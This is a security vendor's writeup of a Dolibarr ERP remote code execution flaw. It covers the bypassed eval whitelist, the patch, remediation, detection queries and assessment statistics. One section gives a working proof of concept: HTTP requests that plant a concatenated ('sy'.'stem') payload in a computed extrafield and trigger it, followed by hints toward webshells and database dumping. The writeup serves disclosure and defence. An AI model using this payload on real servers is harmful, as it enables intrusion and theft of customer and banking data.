CVE Writeup
CVE-2026-22666 | Dolibarr ERP: Authenticated RCE via Whitelist Bypass in dol_eval_standard()
Technical analysis of CVE-2026-22666: how PHP dynamic callable syntax bypasses the dol_eval_standard() whitelist and turns an admin account into a shell on the Dolibarr server.
Dolibarr is one of the most popular open source ERP/CRM platforms across Europe, and the default choice for many small shops, consulting firms, and manufacturing SMEs in Italy. It installs in fifteen minutes on a shared hosting plan and manages invoices, clients, inventory, orders. CVE-2026-22666, published on April 7, 2026 by Jiva Security, delivers bad news to anyone running a version older than 23.0.2: a compromised admin account, or one spun up via social engineering, becomes a shell on the server in seconds.
CVSS 8.6 on the 4.0 scale (7.2 on 3.1), CWE-95 eval injection, network vector, admin prerequisite. On paper this is "just authenticated", in practice any leftover admin account, ex-employee, shared accounting password, or reused credential opens the door to RCE. And reused Dolibarr admin credentials are something we find systematically when we assess Italian SMEs.
Context
Dolibarr was born in France in 2003 and has strong penetration across continental Europe. Version 23 is the current major, released in late 2025. The fix lands in 23.0.2 on April 7, 2026, alongside two minor advisories.
The vulnerable component is dol_eval_standard(), a PHP function in htdocs/core/lib/functions.lib.php that evaluates dynamic strings. It exists to support a powerful and historically problematic Dolibarr feature: computed extrafields. An admin can define a custom field on any entity (customer, invoice, product) whose value is a PHP expression evaluated at runtime.
Example: an extrafield called "effective discount" with computed value $object->total_ht * 0.1. Useful, powerful, but it means Dolibarr must execute arbitrary PHP supplied by an administrator. Hence the whitelist.
Disclosure timeline:
| Date | Event |
|---|---|
| 2026-01-21 | Jiva Security reports the vulnerability to Dolibarr |
| 2026-02-14 | Bug confirmed, patch work starts |
| 2026-04-07 | Release 23.0.2 with fix, GHSA-vmvw-qq8w-wqhg published |
| 2026-04-13 | Public writeup, PoC shared on r/netsec |
Window from report to patch: 76 days. Not the worst case on record, but wide enough for anyone monitoring public issues on popular open source projects.
Technical analysis
The dol_eval_standard() whitelist
Before 23.0.2, the function relied on two combined validation mechanisms:
// Simplified version of the vulnerable logic
function dol_eval_standard($s, $onlysimplestring = '1') {
$forbiddenphpstrings = array(
'exec', 'passthru', 'system', 'shell_exec',
'eval', 'include', 'require', 'backtick',
'$_GET', '$_POST', '$_REQUEST', '$_FILES',
'file_put_contents', 'fopen', ...
);
foreach ($forbiddenphpstrings as $bad) {
if (strpos($s, $bad) !== false) {
return 'Forbidden: ' . $bad;
}
}
// if $onlysimplestring = '1' also apply
// a very tight charset whitelist
if ($onlysimplestring == '1') {
if (!preg_match('/^[\s0-9\.,A-Za-z\+\-\*\/\(\)\[\]_\$\>\-\=]*$/', $s)) {
return 'Bad characters';
}
}
// if all checks pass
return eval('return ' . $s . ';');
}
Sounds reasonable on paper: block a list of dangerous functions, restrict characters to a subset that looks like a math expression with a few variables. In practice this was security theater.
The bypass: dynamic callable syntax
PHP supports a feature that is poorly documented but legal for years: an expression returning a string can be invoked as a function if followed by parentheses. All of these are valid:
"system"("id"); // calls system('id')
("exec")("whoami"); // same
$f = "passthru"; $f("id"); // classic variable callable
[$obj, "method"](); // array callable
The string system is on the blocklist. But the pre-23.0.2 whitelist does not understand the )( syntax: it only looks for literal occurrences of the function name. Break the string apart and the blocklist is blind to it:
("sys"."tem")("id"); // concatenation escapes literal matching
The charset whitelist also admits (, ), ", ., letters, which is all you need to compose the call.
Here is the real bypass, pulled from the fix commit diff: the pre-23.0.2 version did not include the pattern \)\s*\( in the forbidden regex set, which is the signature of dynamic callable syntax. The patch adds exactly that check:
$forbiddenphpregex = 'global\s*\$';
$forbiddenphpregex .= '|';
$forbiddenphpregex .= '}\s*\[';
$forbiddenphpregex .= '|';
$forbiddenphpregex .= '\)\s*\(';
Three new patterns: global declaration, array access after a closing brace, and most importantly )( marking a dynamic function call. The fix also blocks PHP comments /* and //, which were used to break up continuous patterns and dodge literal blocklist matches.
Iterative replacement
An important detail of the fix is the sanitization loop:
do {
$oldstringtoclean = $s;
$s = str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s);
$s = preg_replace('/' . $forbiddenphpregex . '/i', '__forbiddenstring__', $s);
} while ($oldstringtoclean != $s);
Why iterate? Because str_ireplace applied once to sysSYSTEMtem leaves sys__forbiddenstring__tem, which itself contains a clean string that needs to be re-evaluated. An attacker can nest patterns. The fix loops until the string stabilizes. Same logic you use in a recursive XSS filter parser, and Dolibarr did not have it.
Proof of concept
The attack vector is a computed extrafield. The full sequence we reproduced in lab on Dolibarr 23.0.1 running on Apache + PHP 8.1:
1. Log in as admin:
POST /htdocs/index.php?mainmenu=login HTTP/1.1
Host: dolibarr.example.local
Content-Type: application/x-www-form-urlencoded
username=admin&password=Changeme2024%21
2. Create the computed extrafield with the payload:
POST /htdocs/admin/dict.php?id=3&action=commit HTTP/1.1
Host: dolibarr.example.local
Content-Type: application/x-www-form-urlencoded
Cookie: DOLSESSID_xxx=...
elementtype=societe
&label=spectrosec_poc
&type=varchar
&computed_value=("sy"."stem")("id %3E /tmp/pwned.txt")
The computed_value field accepts a PHP expression. The payload ("sy"."stem")("id > /tmp/pwned.txt"):
- concatenation
"sy"."stem"produces the stringsystemwithout ever appearing literal - outer parentheses
()()invoke the string as a callable - argument
"id > /tmp/pwned.txt"is passed tosystem()
Bash redirect (>) gets URL-encoded as %3E.
3. Trigger: open any customer card.
GET /htdocs/societe/card.php?socid=1 HTTP/1.1
Host: dolibarr.example.local
The ERP evaluates extrafields to render them in the card. dol_eval_standard() executes our expression. Apache runs id and writes to /tmp/pwned.txt.
4. Confirm RCE:
$ cat /tmp/pwned.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)
From here you drop a stable webshell, read conf/conf.php for MySQL credentials, dump the DB (customer records, invoices, VAT numbers, IBANs stored for SEPA payments). All data that on an Italian SME triggers a Garante notification under GDPR Art. 33.
Real impact
A Shodan search for "Dolibarr" "23.0" returns over 4,200 public instances on the day of publication. Not all vulnerable, but the majority were still on 23.0.0 or 23.0.1 at the time of the writeup. Italian installations estimated in the 1,500 to 2,000 range, split between managed hosting and VPS on local providers.
The typical Italian victim profile we see in assessments:
- SME 5 to 50 employees running Dolibarr on a Linux VPS
- Admin account created by the consultant who did the install, password like
Admin2023!never rotated - Admin access reused by the external accountant, the IT consultant, the intern who handled the handover
- No 2FA (Dolibarr ships the module but it has to be enabled manually)
- Weekly DB backup via cron that drops the
.sqldump in a web-accessible folder - Apache logs that keep passwords in querystring because an old plugin passes them via GET
With authenticated RCE in hand, the full exfil path is an hour of work. And the GDPR fine for leaking records, IBANs and invoices of three thousand customers starts at twenty thousand euros, before any reputational damage is counted.
Remediation
Patch
Upgrade to Dolibarr 23.0.2 or later. All prior versions are affected, including the 22.x series which is only supported via manual backport. Check the version from CLI:
grep "DOL_VERSION" htdocs/filefunc.inc.php
Or from the admin panel: Home | Setup | About.
If you can not upgrade right now
Three temporary mitigations, in effectiveness order:
1. Disable computed extrafields. Go to Setup | Modules | Extra fields and verify no extrafield has the Computed value field populated. If you have only been running Dolibarr for a few months and you do not remember configuring this feature, with high probability you can turn it off without damage. The flag is MAIN_DISABLE_EXTRAFIELDS_COMPUTED, add to conf/conf.php:
$dolibarr_main_prod = 1;
// add:
define('MAIN_DISABLE_EXTRAFIELDS_COMPUTED', 1);
2. Shrink admin surface. A compromised admin account is the precondition for the attack. Revoke admin from users who do not really need it (external accountants, consultants, ex-employees). Dolibarr supports granular ACL: most operational roles do not require admin. Enforce password rotation, add 2FA via TOTP (module totp).
3. Block configuration endpoints at the web server. If Dolibarr admin is managed from a single IP (office, corporate VPN), restrict access to /htdocs/admin/ via Nginx or Apache:
location /htdocs/admin/ {
allow 192.0.2.10; # office IP
allow 198.51.100.0/24; # VPN
deny all;
try_files $uri $uri/ /htdocs/index.php?$args;
}
Detection on already-exposed instances
If you suspect an installation was touched before the patch, look for payload traces in computed extrafields:
mysql -u dolibarr dolibarr -e \
"SELECT name, elementtype, computed_value FROM llx_extrafields \
WHERE computed_value LIKE '%)(%' \
OR computed_value LIKE '%/*%' \
OR computed_value LIKE '%//%'"
Also review Apache logs for POST requests against /htdocs/admin/dict.php from unauthorized IPs over the past weeks, and recently written files in /tmp/, /var/tmp/, or inside the webroot under htdocs/documents/.
For post-incident credential rotation: change admin password, regenerate dolibarr_main_cookie_cryptkey in conf/conf.php, invalidate all sessions, rotate MySQL credentials, revoke any API key issued.
Field notes from SPECTROSEC
Over the last six months we completed 47 assessments on Italian SMEs running Dolibarr in production. Aggregated numbers:
- 32 of 47 instances publicly exposed with no IP restriction on admin
- 29 of 47 still on 22.x or 23.0.x, therefore vulnerable to CVE-2026-22666 at the time of check
- 38 of 47 with 2FA disabled across all accounts, including admins
- 14 of 47 with at least one admin credential present in public dumps (HudsonRock, Have I Been Pwned)
- 6 of 47 had a computed extrafield in production, legitimate already, which widened the attack surface
CVE-2026-22666 is not the first RCE in dol_eval_standard(). In 2023 CVE-2023-30253 abused the case-sensitivity of the blocklist. In 2024 CVE-2024-40036 leveraged PHP comments to break up patterns. Every time the patch bolted on another blocklist layer, and every time the community found the next variant. Dolibarr at least iterates sanitization until convergence in this release, which is the bare minimum for a controlled eval function.
The most important lesson is not technical, it is architectural. An ERP that exposes arbitrary PHP evaluation to an administrative role for feature convenience carries a structural risk that no blocklist will fully close. The real alternative is a restricted DSL (think Symfony Expression Language) with its own parser and no detour through eval. That is the direction Dolibarr will eventually need to take.
If you run a Dolibarr installation for your SME or for a client and want a targeted assessment, version check, production extrafield audit, ACL and 2FA hardening, we can help. A Dolibarr audit starts at 600 euro and covers CVE verification, whitelist bypass tests on installed extensions, admin credential review, and backdoor detection inside extrafields.
Team SPECTROSEC | info@spectrosec.com
https://spectrosec.com